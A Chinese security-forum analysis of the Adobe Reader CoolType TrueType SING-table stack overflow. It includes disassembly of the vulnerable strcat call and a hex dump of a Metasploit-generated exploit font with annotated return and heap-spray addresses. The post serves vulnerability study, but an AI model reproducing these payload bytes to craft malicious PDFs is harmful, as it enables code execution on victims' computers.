-
-
[原创]千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
-
发表于:
2010-10-10 21:54
13035
-
[原创]千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
题目:千年等一回-Adobe Reader CoolType库TTF字体解析栈溢出漏洞分析
作者:仙果
目录:
0x1.漏洞描述
0x2.测试环境
0x3.漏洞触发原理分析
0x4.漏洞利用及绕过DEP相关技术分析
0x5.总结
题记:之所以称之为千年等一回,是因为很难得能碰到一个栈溢出漏洞,而且这个漏洞的利用还非常的怪异:一个栈溢出漏洞还需要堆喷射结合起来才能够很好的利用.
Adobe Reader此时送上了这个漏洞,千年等一回啊,确实需要仔细的分析一下,以下是自己的分析总结,其中必然有不正确的地方,欢迎批评指正。某位大牛说可以不用JavaScript填充
就可以做到稳定利用,我等小菜实在是不知道该如何做,还请大牛指点一二。
0x1.漏洞描述
Adobe Reader的CoolType.dll库在解析字体文件SING表格中的uniqueName项时存在栈溢出漏洞,用户受骗打开了特制的PDF文件就可能导致执行任意代码。
0x2.测试环境
系统:Windows XP SP3
软件:Adboe Reader 9.3.4
调试软件及其他:Windbg 010editor notepad++ IDA
0x3.漏洞触发原理分析
样本为1个,Metaspoit生成。漏洞触发原理分析使用Metaspoit生成的样本。
这是一个典型的栈溢出漏洞,其直接调用strcat不安全字符串操作函数,导致栈顶(esp)被覆盖,这与之前暴风影音爆出来的M3U文件格式的漏洞如出一辙,我有一篇分析,大家可以参考下。
链接地址为:http://bbs.pediy.com/showthread.php?t=112633
.text:0803DD5D push offset aName ; "name"
.text:0803DD62 push edi ; int
.text:0803DD63 lea ecx, [ebp+var_1C]
.text:0803DD66 mov [ebp+var_11], 0
.text:0803DD6A call sub_80217D7
.text:0803DD6F cmp [ebp+var_1C], esi
.text:0803DD72 jnz short loc_803DDDD
.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+var_24]
.text:0803DD7D call sub_8021B06 //处理"SING"表,
.text:0803DD82 mov eax, [ebp+var_24] //指向恶意数据,其实是SING表,已经被修改为恶意数据
.text:0803DD85 cmp eax, esi //比较eax,esi
.text:0803DD87 mov byte ptr [ebp+var_4], 2
.text:0803DD8B jz short loc_803DDC4 //相等则跳,这里不条
.text:0803DD8D mov ecx, [eax] //把eax指向的内容赋给 ecx
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F //这里跳转
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9Cj
.text:0803DD9F add eax, 10h //跳过sizeof(USHORT)*8
.text:0803DDA2 push eax ; Source 把源地址压入堆栈
.text:0803DDA3 lea eax, [ebp+0] //目的地址
.text:0803DDA6 push eax ; Dest //这里就是目的地址
.text:0803DDA7 mov byte ptr [ebp+0], 0
.text:0803DDAB call strcat //这里调用strcat函数,覆盖栈顶(ESP)
typedef sturct
{
char tag[4];// 标记,如”SING”
ULONG checkSum;// 校验和
ULONG offset;// 相对文件的偏移
ULONG length;// 数据长度
}TableEntry;
head 字体头 字体的全局信息
cmap 字符代码到图元的映射 把字符代码映射为图元索引
glyf 图元数据 图元轮廓定义以及网格调整指令
maxp 最大需求表 字体中所需内存分配情况的汇总数据
mmtx 水平规格 图元水平规格
loca 位置表索引 把元索引转换为图元的位置
name 命名表 版权说明、字体名、字体族名、风格名等等
hmtx 水平布局 字体水平布局星系:上高、下高、行间距、最大前进宽度、最小左支撑、最小右支撑
kerm 字距调整表 字距调整对的数组
post PostScript信息 所有图元的PostScript FontInfo目录项和PostScript名
PCLT PCL 5数据 HP PCL 5Printer Language 的字体信息:字体数、宽度、x高度、风格、记号集等等
OS/2 OS/2和Windows特有的规格 TrueType字体所需的规格集
00E0h: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47 .G.:..?... SING
00F0h: D9 BC C8 B5 00 00 01 1C 00 00 1D DF 70 6F 73 74 偌鹊.......遬ost
0100h: B4 5A 2F BB 00 00 B8 F4 00 00 02 8E 70 72 65 70 碯/?.隔...巔rep
0110h: 3B 07 F1 00 00 00 20 F8 00 00 05 68 00 00 01 00 ;.?.. ?..h....
0120h: 01 0E 00 01 00 00 00 00 00 00 00 3A 41 41 41 41 ...........:AAAA
0130h: 41 41 41 41 7E C5 06 08 0C 0C 0C 0C 41 41 41 41 AAAA~?.....AAAA //调用0x081586a5后,执行这里
0140h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0150h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0160h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0170h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0180h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0190h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
01F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0200h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0210h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0220h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0230h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0240h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0250h: 41 41 41 41 41 41 41 41 41 41 41 41 44 10 23 08 AAAAAAAAAAAAD.#. //070013fa处调用0x08231044
0260h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0270h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0280h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0290h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02A0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02B0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02C0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02D0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02E0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
02F0h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0300h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0310h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0320h: 41 41 41 41 A5 86 15 08 41 41 41 41 41 41 41 41 AAAA..AAAAAAAA //0x081586a5
0330h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0340h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0350h: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0360h: 41 41 41 41 41 41 41 41 6C 00 00 00 41 41 41 41 AAAAAAAAl...AAAA
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!